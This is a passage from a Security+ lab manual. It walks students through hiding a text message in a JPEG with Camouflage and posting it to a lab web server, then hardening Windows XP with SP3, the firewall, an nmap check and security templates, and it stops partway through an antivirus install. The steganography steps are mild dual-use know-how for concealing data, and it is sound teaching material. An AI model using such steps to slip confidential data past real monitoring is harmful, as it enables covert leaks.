Man-in-the-middle attacks• www.sans.org/reading_room/whitepapers/threats/address- resolution-protocol-spoofing-man-in-the-middle-attacks_474
Principles of Computer Security: CompTIA Security+™ and Beyond• , Second Edition (McGraw-Hill Professional, 2010), Chapters 6 and 15
Wireshark• www.wireshark.org/
Lab 6.3: Steganography The term steganography comes from the Greek word steganos, which means “hidden” or “covered.”
Steganography is the hiding of information. Unlike cryptography, the information is not scrambled or
encoded—it is simply hidden. On a computer system, steganography will hide one file inside another.
Most often a text file will be hidden in an image or an MP3 file. This ability to hide information,
sometimes in plain sight, poses a significant threat to the confidentiality of information.
In this lab, you will create a text file with sensitive information and hide it in an image file, and
then post it to a web site.
Learning Objectives After completing this lab, you will be able to
Explain what steganography is.•
Describe the process of hiding information.•
ch06.indd 158 11/17/10 11:02:38 AM
Lab 6.3w: Steganography in Windows 159
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 6
S 35 minutes
Lab 6.3w: Steganography in Windows
Materials and Setup You will need the following:
Windows XP Professional•
Windows 2003 Server•
Lab Steps at a Glance
Step 1: Log on to the Windows XP Professional and Windows 2003 Server PCs.
Step 2: Install Camouflage on the Windows XP Professional and Windows 2003 Server PCs.
Step 3: Create and hide a message.
Step 4: Upload the message to the web server.
Step 5: Retrieve the message from the Windows 2003 Server PC.
Step 6: Log off from the Windows XP Professional and Windows 2003 Server PCs.
Lab Steps
Step 1: Log on to the Windows XP Professional and Windows 2003 Server PCs.
To log on to the Windows XP Professional PC:
At the Login screen, click the Admin icon.1.
In the password text box, type 2. password and press enter.
To log on to the Windows 2003 Server PC:
At the Login screen, press 1. ctrl-alt-del.
Enter the username 2. administrator and the password adminpass.
Click OK.3.
Step 2: Install Camouflage on the Windows XP Professional and Windows 2003 Server PCs.
On the Windows XP Professional computer:
On the desktop, open the Tools folder and then the Camou121 folder.1.
Double-click Setup.2.
ch06.indd 159 11/17/10 11:02:38 AM
Chapter 6: More Attacks: Trojan Attacks, MITM, Steganography160
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 6
On the Welcome screen, click Next.3.
On the Software License Agreement screen, click Yes.4.
On the Choose Destination Location screen, click Next.5.
On the Select Program Folder screen, click Next.6.
On the Start Copying Files screen, click Next.7.
On the Setup Complete screen, clear the View Readme check box, check the Change Settings 8. Now check box, and click Finish.
In the Camouflage Settings window:9.
Check the Show Camouflage Options When Right-Clicking check box.a.
Check the Created, Modified and Accessed check box.b.
Click Close.c.
Close the Camou121 folder.10.
On the Windows 2003 Server:
On the desktop, open the Tools folder and then the Camou121 folder.1.
Double-click Setup.2.
On the Welcome screen, click Next.3.
On the Software License Agreement screen, click Yes.4.
On the Choose Destination Location screen, click Next.5.
On the Select Program Folder screen, click Next.6.
On the Start Copying Files screen, click Next.7.
On the Setup Complete screen, clear the View Readme check box, check the Change Settings 8. Now check box, and click Finish.
In the Camouflage Settings window:9.
Check the Show Camouflage Options When Right-Clicking check box.a.
Check the Created, Modified and Accessed check box.b.
Click Close.c.
Close the Camou121 folder.10.
Step 3: Create and hide a message.
On the Windows XP Professional computer:
Choose Start | Run.1.
In the Open field, type 2. notepad and press enter.
ch06.indd 160 11/17/10 11:02:39 AM
Lab 6.3w: Steganography in Windows 161
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 6
In Notepad, type3.
Buy the stock, the merger is going through!
Choose File | Save.4.
In the File Name combo box, type 5. message, click Desktop on the left for the destination, and click Save.
Close Notepad.6.
On the desktop, right-click message.txt and select camouflage.7.
On the Camouflage screen, click Next. (This is the message that you are going to hide.)8.
In the Camouflage Using text box, click the Browse button (indicated by .. ), navigate to My 9. Documents\My Pictures\Sample Pictures\sunset.jpg, and click Open.
On the Camouflage screen, click Next.10.
On the Create This File screen, click Next.11.
On the Password screen, type 12. yeehaa in both boxes and click Finish.
Step 4: Upload the message to the web server.
While still on the Windows XP computer, you will create a simple web page to be uploaded with the file.
Choose Start | Run.1.
Type 2. notepad and press enter.
Type the following HTML code:3.
<html>
<head><title>My Vacation</title></head>
<body>
<p>A picture of the sunset during my vacation.<br />
<img src="sunset.jpg" title="sunset"
alt="sunset" width="400" height="300" />
</p>
</body>
</html>
This code creates a web page that will also show the image file with the hidden message.
Choose File | Save As.4.
In the File Name combo box, type 5. getaway.html, click Desktop on the left for the destination, select All Files as the file type, and then click Save.
Choose Start | Run.6.
In the Open field, type 7. cmd and click OK.
Type 8. cd desktop and press enter.
Type 9. ftp 192.168.100.102 and press enter.
ch06.indd 161 11/17/10 11:02:39 AM
Chapter 6: More Attacks: Trojan Attacks, MITM, Steganography162
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 6
At the User <192.168.100.102:<none>>: prompt, type 10. administrator and press enter.
At the password prompt, type 11. adminpass and press enter.
Type 12. send getaway.html and press enter.
Type 13. send sunset.jpg and press enter.
Type 14. quit to exit FTP and press enter.
Step 5: Retrieve the message from the Windows 2003 Server PC.
On the Windows 2003 Server PC:
In the Quick Launch bar, click Internet Explorer.1.
In the Internet Explorer address bar, type 2. http://192.168.100.102/getaway.html and press enter. Refer to Figure 6-4.
If prompted that the page you requested is not available offline, click Connect. Notice that
there is nothing remarkable about the page.
Right-click the image in the web page and select Save Picture As.3.
Figure 6-4 Hiding in plain sight
ch06.indd 162 11/17/10 11:02:39 AM
Lab 6.3w: Steganography in Windows 163
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 6
In the Save Picture As dialog box, click Desktop on the left and click Save.4.
Close Internet Explorer.5.
Right-click the sunset.jpg file on the desktop and select uncamouflage.6.
In the Password text box, type 7. yeehaa and click Next.
Camouflage will show you the two files, the image and the text message.
Select the message.txt file and click Next.8.
On the Extract to Folder screen, click Finish.9.
Double-click the file message.txt on the desktop.10.
You now see the file that was hidden in the image. Since this file is put on a web server and
is made available to anyone who has access to the web site, it becomes very difficult to track
who accessed the file with the hidden message. This may be going on all over the Web without
anyone knowing.
Step 6: Log off from the Windows XP Professional and Windows 2003 Server PCs.
At the Windows XP Professional PC:
Choose Start | Log Off.1.
At the Log Off Windows screen, click Log Off.2.
At the Windows 2003 Server PC:
Choose Start | Shutdown.1.
At the Shutdown Windows screen, click the drop-down arrow and select Log Off 2. Administrator.
Click OK.3.
Lab 6.3 Analysis Questions The following questions apply to the lab in this section:
Steganography poses a threat to what characteristic of data and in what state?1.
What are the steps for using steganography? (List the general steps only.)2.
Your boss has heard the term 3. steganography being used with some concern and would like you to explain what it is and what threat it poses to the company.
ch06.indd 163 11/17/10 11:02:40 AM
Chapter 6: More Attacks: Trojan Attacks, MITM, Steganography164
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 6
Lab 6.3 Key Terms Quiz Use this key term from the lab to complete the sentence that follows:
steganography
1. _______________ is the technique of hiding information.
Follow-Up Lab Lab 10.3• : Forensic Analysis Using forensic software is one way in which to discover images that have been used in steganography.
Suggested Experiment Do an Internet search on steganography. Look for other tools that are available both to hide and to
reveal information. Research how the information is hidden and can be discovered.
References Camouflage• http://camouflage.unfiction.com/Download.html
Principles of Computer Security: CompTIA Security+™ and Beyond• , Second Edition (McGraw-Hill Professional, 2010), Chapter 5
ch06.indd 164 11/19/10 10:10:19 AM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 7 / Blind Folio 165
Prevention: How Do We Prevent Harm to Networks?
If the enemy can’t get in, you can’t get out. —Murphy’s Law for Grunts
Now that we have an appreciation for how networks work, some of the weaknesses inherent in them, and some of the
threats that exist to exploit those vulnerabilities, we look to
some of the ways that we can secure our networks. Since the
real value of our networks is not the networks themselves but
the information they convey and contain, we are focused on
maintaining the confidentiality, integrity, and availability of
the data.
There are a number of technologies that exist for the sole
purpose of ensuring that the critical characteristics of data
are maintained in any of its states. These technologies can
be either hardware or software. Some of these items include
but are not limited to firewalls, antivirus programs, software
updates, and various forms of encryption. An understanding
of these technologies is essential to enable security without
compromising functionality.
Part III
ch07.indd 165 11/4/10 1:09:47 PM
166
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 /
In this section we will focus on the technologies we can use to protect
data where it is stored (on the host computers) and when it is in
transmission (traversing the network). We will also look at some of the
issues of how security and functionality interact.
Part III: Prevention: How Do We Prevent Harm to Networks?
ch07.indd 166 11/4/10 1:09:48 PM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 7 / Blind Folio 167
Hardening the Host Computer
Labs Lab 7.1 Hardening the Operating System•
Lab 7.1w Hardening Windows XP
Lab 7.1 Analysis Questions
Lab 7.1 Key Terms Quiz
Lab 7.2 Using Antivirus Applications•
Lab 7.2w Antivirus in Windows
Lab 7.2 Analysis Questions
Lab 7.2 Key Terms Quiz
Lab 7.3 Using Firewalls•
Lab 7.3l Configuring a Personal Firewall in Linux
Lab 7.3 Analysis Questions
Lab 7.3 Key Terms Quiz
Chapter 7
ch07.indd 167 11/4/10 1:09:48 PM
Chapter 7: Hardening the Host Computer168
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 7
Maintaining an appropriate level of information security requires attention to confidentiality, integrity, and availability. This chapter
examines some techniques that can assist you in maintaining the
confidentiality and integrity of data on a host machine. These labs begin
with operating system issues and then move to issues such as antivirus
applications and firewalls. Maintaining the operating system in an up-to-
date configuration is the first and most important step of maintaining
a proper security posture. Once the OS is secure, then focus can shift to
antivirus issues as viruses can be direct threats to the data on a machine.
After these specific threats are covered, a firewall acts as a barrier with a
regulated gate to screen traffic to and from the host.
➜ Note
Instructions for setting up all environments used in this chapter can be found on the book's
companion online learning center at www.securityplusolc.com.
Lab 7.1: Hardening the Operating System The operating system is the software that handles input, output, display, memory management, and
many other important tasks that allow the user to interact with and operate the computer system. A
network operating system is an operating system that includes built-in functionality for connecting to
devices and resources on a network. Most operating systems today, such as Windows, Unix, Linux, and
Mac OS X, have networking built into them.
Developers of operating systems have a huge challenge to deal with. There are many different
networks with different requirements for functionality and security. Designing the operating system to
work “out of the box” in a way that will be the correct balance for every type of network is impossible.
End users’ desire for more features has led to default installations being more feature rich than
security conscious. As a result, default installations need to be secured. The process of securing the
operating system is called hardening. Hardening the operating system is intended to reduce the number
of vulnerabilities and protect the computer from threats or attacks. While there are many different
operating systems, the general steps in the hardening process are the same:
1. Install the latest service pack.
2. Apply the latest patches.
3. Disable unnecessary services.
ch07.indd 168 11/4/10 1:09:48 PM
Lab 7.1w: Hardening Windows XP 169
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 7
4. Remove unnecessary user accounts and rename the admin/root account.
5. Ensure the use of complex passwords.
6. Restrict permissions on files and access to the registry.
7. Enable logging of critical events.
8. Remove unnecessary programs.
There are some excellent tools available to help in the hardening process. Microsoft provides snap-
ins to evaluate and configure the security settings. Changing all the settings to harden a computer can
be quite a task. Microsoft has a special security feature called security templates. A security template
contains hundreds of possible settings that can be configured to harden a computer. The security
templates can control areas such as user rights, permissions, and password policies.
While the process of hardening the computer will help prevent harm to the confidentiality,
integrity, and availability of the data that is stored on the computer, it will also reduce the functionality
or convenience of the computer. The key is to maintain an appropriate level of functionality while
properly securing the system to maintain confidentiality, integrity, and availability. This is not a trade-
off, for what good is a feature if the data is corrupt or not available?
Learning Objectives At the end of this lab, you’ll be able to
Install Windows Service Pack 3.•
List the features of Service Pack 3.•
Change the setting of the firewall and the Automatic Updates feature.•
Apply security templates in Windows to harden the computer.•
S 60–90 minutes
Lab 7.1w: Hardening Windows XP The number of malicious attacks on computer systems continues to grow each year. One of the ways
Microsoft addresses this issue is with the release of service packs. Microsoft’s Windows XP Service Pack 3,
released in 2008, not only contains a collection of patches but comes with enhanced features. It increases
network protection, memory protection, e-mail security, and browsing security. The XP Service Pack 3
(SP3) update can be installed either by using the Windows Update utility or by downloading the network
installation version from the Microsoft Download Center web site.
One of the features in XP SP3 is the Security Center utility. The Security Center utility monitors
the computer’s firewall, antivirus software, and updates. The firewall is turned on by default—this
blocks unsolicited communications but may also block communications that you want access to as well.
ch07.indd 169 11/4/10 1:09:48 PM
Chapter 7: Hardening the Host Computer170
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 7
The firewall has also been enhanced to provide boot-time security—the firewall starts immediately
during the boot process, blocking traffic and closing the window of opportunity for a malicious attack
to get in.
Automatic Updates is an important feature of XP SP3. The time between software with vulnerabilities
being released and attackers releasing malicious code to exploit them is growing shorter and shorter.
Therefore, it is important to patch your operating system as soon as possible. Automatic Updates will set
your computer to check Microsoft’s web site daily for any security updates. It will then download and
install any that are available. It is important to note that this can be a double-edged sword. You may
not always want to patch immediately because it is possible that the patch will fix one vulnerability yet
damage another program that may be critical for business applications.
Although XP SP3 does not come with antivirus software, it does monitor your antivirus program to
check whether it is up to date.
Service Pack 3 also enhances the Internet Explorer web browser. One of the features is the addition
of a pop-up blocker. Pop-ups are pages or windows that pop up either when a link is clicked or some other
condition is met. Web designers can use pop-ups to enable users to view enlarged versions of photos, or to
open a new window for users to fill in a form or compose an e-mail message. Unfortunately, this feature
is abused by certain sites and, without a pop-up blocker, you can be inundated with a large number of
undesirable windows opening up. Advertisers also use pop-ups, which can be rather annoying. You can
configure the pop-up blocker to block pop-ups generally but allow them on sites that you choose.
In this lab, you will install XP SP3 and look at the Security Center application.
Materials and Setup You will need the following:
Windows XP Professional•
Windows 2003 Server•
BackTrack•
Lab Steps at a Glance
Step 1: Log on to the Windows XP Professional, Windows 2003 Server, and BackTrack PCs.
Step 2: Install Windows XP Service Pack 3.
Step 3: Explore new features.
Step 4: Test new features.
Step 5: Configure security templates.
Step 6: Log off from the Windows XP Professional, Windows 2003 Server, and BackTrack PCs.
Lab Steps
Step 1: Log on to the Windows XP Professional, Windows 2003 Server, and BackTrack PCs.
ch07.indd 170 11/4/10 1:09:49 PM
Lab 7.1w: Hardening Windows XP 171
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 7
To log on to the Windows XP Professional PC:
1. At the Login screen, click the Admin icon.
2. In the password text box, type password and press enter.
To log on to the Windows 2003 Server PC:
1. At the Login screen, press ctrl-alt-del.
2. Enter the username administrator and the password adminpass.
3. Click OK.
To log on to the BackTrack PC:
1. At the login prompt, type root and press enter.
2. At the password prompt, type toor and press enter.
Step 2: Install Windows XP Service Pack 3.
1. On the desktop, double-click the Tools folder.
2. Double-click WindowsXP-KB936929-SP3-x86-ENU.
The Windows XP Service Pack 3 installer will begin to install.
3. At the Windows XP Service Pack 3 screen, click Next.
➜ Note
Before installing a service pack, backing up your system and data is recommended.
4. On the License Agreement screen, select I Agree and click Next.
5. On the Select Options screen, click Next.
The installation will take a bit of time (30 to 45 minutes depending on your computer).
6. On the Completing the Windows XP Service Pack 3 Setup Wizard screen, click Finish.
Step 3: Explore new features.
After you click Finish, the computer will reboot. Upon reboot, the Help Protect Your PC screen appears,
as shown in Figure 7-1.
1. Select Help Protect My PC by Turning on Automatic Updates Now and click Next.
➜ Note
Machines configured for this lab do not have Internet access, so Automatic Updates will not work.
However, it is always important to get the most up-to-date patches installed on your system.
ch07.indd 171 11/4/10 1:09:49 PM
Chapter 7: Hardening the Host Computer172
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 7
2. At the Login screen, click the Admin icon.
3. In the password text box, type password and press enter.
After logging in, you will see the Windows Security Center screen, shown in Figure 7-2.
Internet Explorer 6 (IE6) will install. Notice that IE6 now monitors your updates/patches, your firewall, and your antivirus status. These are three important items to monitor to keep
your computer safe. The firewall and updates are set, but you will see Virus Protection in red
because none was detected.
4. Click the What’s New to Help Protect My Computer? link.
List the items that are new in this service pack.a.
Close the Help and Support Center window.b.
Figure 7-1 The Windows XP Service Pack 3 Help Protect Your PC screen
ch07.indd 172 11/4/10 1:09:50 PM
Lab 7.1w: Hardening Windows XP 173
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 7
5. On the Security Center screen, click Firewall and then click the How Does a Firewall Help Protect My Computer? link.
List the ways that a firewall will help protect your computer.a.
Close the Help and Support Center window.b.
6. On the Security Center screen, click Automatic Updates and then click the How Does Automatic Updates Help Protect My Computer? link.
List the ways that security updates help protect your computer.a.
Close the Help and Support Center window.b.
7. On the Security Center screen, click Virus Protection and then click the How Does Antivirus Software Help Protect My Computer? link.
List the ways that antivirus software will help protect your computer.a.
Close the Help and Support Center window.b.
8. On the Security Center screen, under Manage Security Settings For, click Windows Firewall.
On the Windows Firewall screen, there are three tabs: General, Exceptions, and Advanced. The General tab allows you to choose between the following: turn the firewall on, turn it on
with no exception, or turn it off. You may want to turn off the firewall when troubleshooting
or if you plan to use a third-party firewall.
Figure 7-2 Windows Security Center
ch07.indd 173 11/4/10 1:09:50 PM
Chapter 7: Hardening the Host Computer174
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 7
9. On the Windows Firewall screen, select On.
10. Click the Exceptions tab. The Exceptions tab allows you to add “exceptions” to what the firewall will block. You can choose programs or ports that the firewall will allow.
What programs and services are currently selected as exceptions and will be allowed?
11. Click the Advanced tab. The Advanced tab allows you to modify settings on a more granular level. You can change the firewall network settings, security logging settings, or ICMP
settings. The network settings enable you to allow or disallow the use of programs such as
FTP or Telnet. The security logging settings let you log packets that were dropped as well as
successful connections. The ICMP settings allow you to configure how your computer will
react with programs such as ping and tracert.
12. Click the Security Logging Settings box.
13. On the Log Settings screen, check both the Log Dropped Packets and Log Successful Connections check boxes.
14. In the Log File Options section, click Save As.
15. On the Save As screen, click Desktop on the left, and in the File Name box, type firewall_log.
16. Click Save.
17. On the Log Settings screen, click OK.
18. On the Windows Firewall screen, click OK.
Step 4: Test new features.
1. Choose Start | Run.
2. Type cmd in the Open field and press enter.
3. At the command line, type ping 192.168.100.102 and press enter. You will get the four ping replies back.
On the Windows 2003 Server computer:
4. Choose Start | Run.
5. Type cmd and press enter.
6. At the command line, type ping 192.168.100.101 and press enter. Notice that you do not get replies back.
On the Window XP Professional computer:
7. Double-click firewall_log.
Scroll down to the bottom. You will see the entries for the dropped packets from the server a. at 192.168.100.102. They will look like the following:
2010-08-16 11:41:24 DROP ICMP 192.168.100.102 192.168.100.101 - - 60 - - -
- 8 0 – RECEIVE
ch07.indd 174 11/4/10 1:09:51 PM
Lab 7.1w: Hardening Windows XP 175
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 7
Notice that the firewall will allow for your computer to ping other computers but will not b. allow other computers to ping it. Close Notepad.
On the BackTrack machine:
8. At the command line, type nmap 192.168.100.101 and press enter.
9. Nmap will respond that only one host is up, but it will neither guess the operating system nor list any ports.
How does blocking responses from open ports improve security?a.
Open the firewall log again and view the packets dropped from the Nmap scan.b.
Close Notepad.c.
10. On the Security Center screen, under Manage Security Settings For, click Automatic Updates.
Microsoft has selected to automatically download and install updates for you. It is a good idea for the download to take place at a time when you are least likely to be using the computer.
Microsoft also gives you the option to download but request permission to install. You run
some risk with either option. If you select to download and install automatically, it is possible
that the patch you download may fix one thing but break something else. If you choose to
download but install manually, then you run the risk of being away and not installing a
patch in time to protect you from an attack.
11. Click OK to close the Automatic Updates screen.
12. Close the Security Center screen.
13. Choose Start | Internet Explorer.
14. On the menu bar, choose Tools | Pop-up Blocker, Pop-up Blocker Settings.
The pop-up blocker is a new feature that was introduced with Windows XP Service Pack 2. It stops pop-ups from popping up. Sometimes, however, some web pages may have legitimate uses
of pop-ups. Some e-mail pages use pop-ups for composing and replying to e-mail. If you need to
allow pop-ups on certain sites, you can enter the site name in the text box and click Add.
15. On the Pop-up Blocker Settings screen, click Close.
16. Close Internet Explorer.
➜ Note
If you are using a virtual environment and can take snapshots, this is a good time to take one.
As you continue to harden the system, you can continue from this point. Ask your instructor for
guidance.
ch07.indd 175 11/4/10 1:09:51 PM
Chapter 7: Hardening the Host Computer176
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 7
Step 5: Configure security templates.
1. Choose Start | Run.
2. In the Open field, type mmc and click OK.
3. Choose File | Add/Remove Snap-in.
4. In the Add/Remove Snap-in dialog box, click Add.
5. In the Add Standalone Snap-in dialog box, select Security Configuration and Analysis, click Add, and then click Close.
6. In the Add/Remove Snap-in dialog box, click OK.
7. In the left pane of the MMC, right-click Security Configuration and Analysis and select Open Database.
8. In the File Name box, type secureXP and click Open.
9. In the Import Template dialog box, select hisecws (for High Security Workstation) and click Open.
10. In the left pane again, right-click Security Configuration and Analysis. This time select Analyze Computer Now.
11. In the Perform Analysis dialog box, click OK.
The utility will analyze the computer for security issues. When it is done, it will display the results.
12. In the left pane, expand Account Policies and select Password Policy. See Figure 7-3.
Which policies are marked with an X?a.
There are many policies. If you want to know more about any policy, you can open the
policy and read the description. Take a look at the enforce password history policy.
Figure 7-3 The Security Configuration and Analysis snap-in
ch07.indd 176 11/4/10 1:09:51 PM
Lab 7.1w: Hardening Windows XP 177
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 7
Double-click Enforce Password History.b.
In the Enforce Password History Properties dialog box, click the Explain This Setting tab.c.
Up to how many passwords can be remembered?d.
Click OK to close the policy.e.
Take a look at some of the other policies that can be configured.f.
List three other policies (not in the password section).g.
You will now configure the machine with the hisecws template setting.
13. In the left pane, right-click Security Configuration and Analysis and select Configure Computer Now.
14. On the Configure System screen, click OK.
15. In the left pane again, right-click Security Configuration and Analysis. This time select Analyze Computer Now.
16. In the Perform Analysis dialog box, click OK.
Look at the policies now. Are there any that still need to be changed?
17. On the desktop, right-click My Computer and select Manage.
18. In the Computer Management screen, expand Local Users and Groups and select Users.
19. Right-click the Users folder and select New User.
20. In the New User dialog box, enter the username Labuser3 and the password password. Confirm the password password.
21. Clear the User Must Change Password at Next Logon check box.
22. Click Create.
What error message do you get? a.
While you are not able to create new weak passwords, does the template also fix the old b. weak passwords?
Create a complex password for Labuser3 that gets accepted. What was the password you c. created that was accepted?
23. Close the New User dialog box.
➜ Note
If you are using virtual machines and have the ability to create snapshots, now would be a good
time to take another one.
ch07.indd 177 11/4/10 1:09:52 PM
Chapter 7: Hardening the Host Computer178
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 7
At this point, if you have time, you may wish to test some of the previous lab exercises, such as the
Nmap lab (Lab 4.1w), the Metasploit lab (Lab 4.4l), and the password-cracking lab (Lab 4.5l). See if the
exploits still work with the changes that you have made.
Step 6: Log off from the Windows XP Professional, Windows 2003 Server, and BackTrack PCs.
At the Windows XP Professional PC:
1. Choose Start | Shutdown.
2. At the Shutdown Windows screen, click Log Off.
At the Windows 2003 Server PC:
1. Choose Start | Shutdown.
2. At the Shutdown Windows screen, click the drop-down arrow and select Log Off Administrator.
3. Click OK.
At the BackTrack PC, type exit at the command line and press enter.
Lab 7.1 Analysis Questions The following questions apply to the lab in this section:
1. By taking the steps necessary to harden the operating system, what characteristics and states of data are protected?
2. As a result of going through the hardening process, what convenience or functionality can be lost or reduced?
3. Create three passwords that meet the following conditions:
Eight characters or greater•
Must have uppercase and lowercase letters, numbers, and special characters•
Should be a derivative of a phrase, song, or other means of remembering•
4. A friend of yours had Windows XP installed on her laptop and is considering installing Service Pack 3 on it. She asks you what are some good reasons for her to install it. What do
you tell her?
5. After you explain the reasons to install XP Service Pack 3, your friend asks you if there are any disadvantages to installing the service pack. What do you tell her?
ch07.indd 178 11/4/10 1:09:52 PM
Lab 7.1w: Hardening Windows XP 179
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 7
6. What are the steps to access the configuration utility for the Windows firewall?
7. What are the steps to access the configuration utility for the Automatic Updates feature in Windows?
Lab 7.1 Key Terms Quiz Use these key terms from the lab to complete the sentences that follow:
antivirus
Automatic Updates
firewall
hardening
network operating system
operating system
patch
pop-ups
Security Center
security templates
service packs
1. A(n) ________________ is the software that handles input, output, display, memory management, and many other important tasks that allow the user to interact with and operate the computer
system.
2. The process of tightening the security of a default installation of an operating system is called _______________________.
3. An update to a program to correct errors or deficiencies is called a(n) __________________.
4. Microsoft issues ________________________ to its operating systems to update them and correct errors in the code.
5. One of the ways to make sure your computer has all the latest critical security patches is to configure __________________ to download and install patches on a daily basis.
6. A(n) ______________ prevents unauthorized connections from other computers to your computer.
7. Service Pack 3 modifies Internet Explorer to block ________________, a change which can cause problems with some legitimate applications.
8. The Security Center utility will notify you if you are not using a(n) ___________________ utility.
ch07.indd 179 11/4/10 1:09:52 PM
Chapter 7: Hardening the Host Computer180
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 7
Follow-Up Lab Lab 7.2: Using Antivirus Applications • Another critical step in hardening a computer system is installing antivirus software. This lab will show you how.
Suggested Experiments 1. Download, install, and run Microsoft Security Baseline Analyzer. Use this tool to further
improve the security of the computer.
2. Try using a third-party scoring utility such as Secutor Prime from ThreatGuard (http:// threatguard.com). See how high of a score you can get. At the highest score, is the computer
adequately secure? Is it still adequately functional?
3. Go to http://csrc.nist.gov/itsec/guidance_WinXP.html and download SP 800-68 Revision 1, “Guide to Securing Microsoft Windows XP Systems for IT Professionals.” Follow the guidance
for securing the Windows XP machine.
Reference Principles of Computer Security: CompTIA Security+™ and Beyond• , Second Edition (McGraw-Hill Professional, 2010), Chapter 14
Lab 7.2: Using Antivirus Applications The year 2008 saw the number of viruses in existence hit the 1 million mark. The number of viruses,
Trojans, and worms in the wild increases every day. With each new vulnerability discovered and each
new deceptive technique developed, malicious code writers will integrate it into the next generation
of attacks. It is estimated that a fresh installation of Windows XP, if left connected to the Internet
unpatched and without virus protection, will be compromised by malicious code in four minutes. Since
malicious code poses a threat to all the characteristics of data, antivirus software is a must in today’s
network environment.
Antivirus software can protect your computer with real-time scanning or on-demand scanning.
Real-time protection means that the antivirus software is constantly running and checking every
process as it attempts to execute. Real-time protection makes it much more difficult for your computer
to become infected by a virus, but it can have a noticeable impact on CPU performance. This can be an
issue for CPU-intensive applications such as video rendering or gaming. On-demand scanning is executed
manually or on schedule. By using only on-demand scanning, you free up CPU cycles but run the risk of
infection. Normally computers are configured to do both.
Your antivirus program is effective only if you keep its signature database up to date with the latest
signature definitions from the vendor. The signature database contains the bit patterns of the known
malicious code. The antivirus software looks for matches between records in the signature database and
ch07.indd 180 11/4/10 1:09:53 PM
Lab 7.2w: Antivirus in Windows 181
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 7
the files it is checking. As new threats are discovered, antivirus software vendors issue updates to their
signature databases. These updates must then be installed by end users to maintain protection against
new threats. Because of the ability to multiply and spread rapidly, new worms and viruses pose a real
security threat in today’s interconnected networks, making current, up-to-date protection essential.
In this lab, you will install and configure an antivirus program. You will then test the program to
see if it will effectively identify malicious software and protect against infection.
Learning Objectives At the end of this lab, you’ll be able to
Install antivirus software.•
Explain the benefits of using antivirus software.•
Use antivirus software to scan e-mail messages for viruses.•
S 20 minutes
Lab 7.2w: Antivirus in Windows In this lab you will explore the use of McAfee’s antivirus software for the Windows platform. This is one
of many antivirus software applications. You will install it with older virus definitions for the purpose
of testing in this lab exercise only.
✖ Warning
The efficacy of an antivirus application rests significantly upon the currency of its virus
signature set. New viruses and worms are developed on a regular basis, and to be effective
against new threats, the antivirus application needs up-to-date signature definitions. This lab
exercise uses an older, static set of virus definitions that, while sufficient for the purposes of
the lab, is not sufficient to protect a machine in the current threat environment. Do not use the
lab definition file in a production environment. Instead, download the current definition file,
and make sure to update the definition file on a regular basis.
Materials and Setup You will need the following:
Windows XP Professional•
Windows 2003 Server•
ch07.indd 181 11/4/10 1:09:53 PM
Chapter 7: Hardening the Host Computer182
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 7
Lab Steps at a Glance
Step 1: Log on to the Windows XP Professional and Windows 2003 Server machines.
Step 2: Install and configure McAfee AntiVirus on the Windows 2003 Server machine.
Step 3: Attempt to deploy malware.
Step 4: Log off from both the Windows XP Professional and Windows 2003 Server PCs.
Lab Steps
Step 1: Log on to the Windows XP Professional and Windows 2003 Server machines.
To log on to the Windows XP Professional PC:
1. At the Login screen, click the Admin icon.
2. In the password text box, type password and press enter.
To log on to the Windows 2003 Server PC:
1. At the Login screen, press ctrl-alt-del.
2. Enter the username administrator and the password adminpass.
3. Click OK.
Step 2: Install and configure McAfee AntiVirus on the Windows 2003 Server machine.
1. On the desktop, double-click the Tools folder.
2. Double-click the McAfee_VirusScan_Trial folder.
3. Right-click VSE870EMLRP2.Zip and click Extract All.
4. On the Welcome to the Compressed Folders Extraction Wizard screen, click Next.
5. On the Select a Destination screen, click Next.
6. On the Extraction Complete screen, click Finish.
7. In the Windows Explorer window that opens, double-click SetupVSE.Exe.
8. On the McAfee VirusScan Enterprise Setup screen, click Next.
9. On the McAfee licensing screen, click OK.
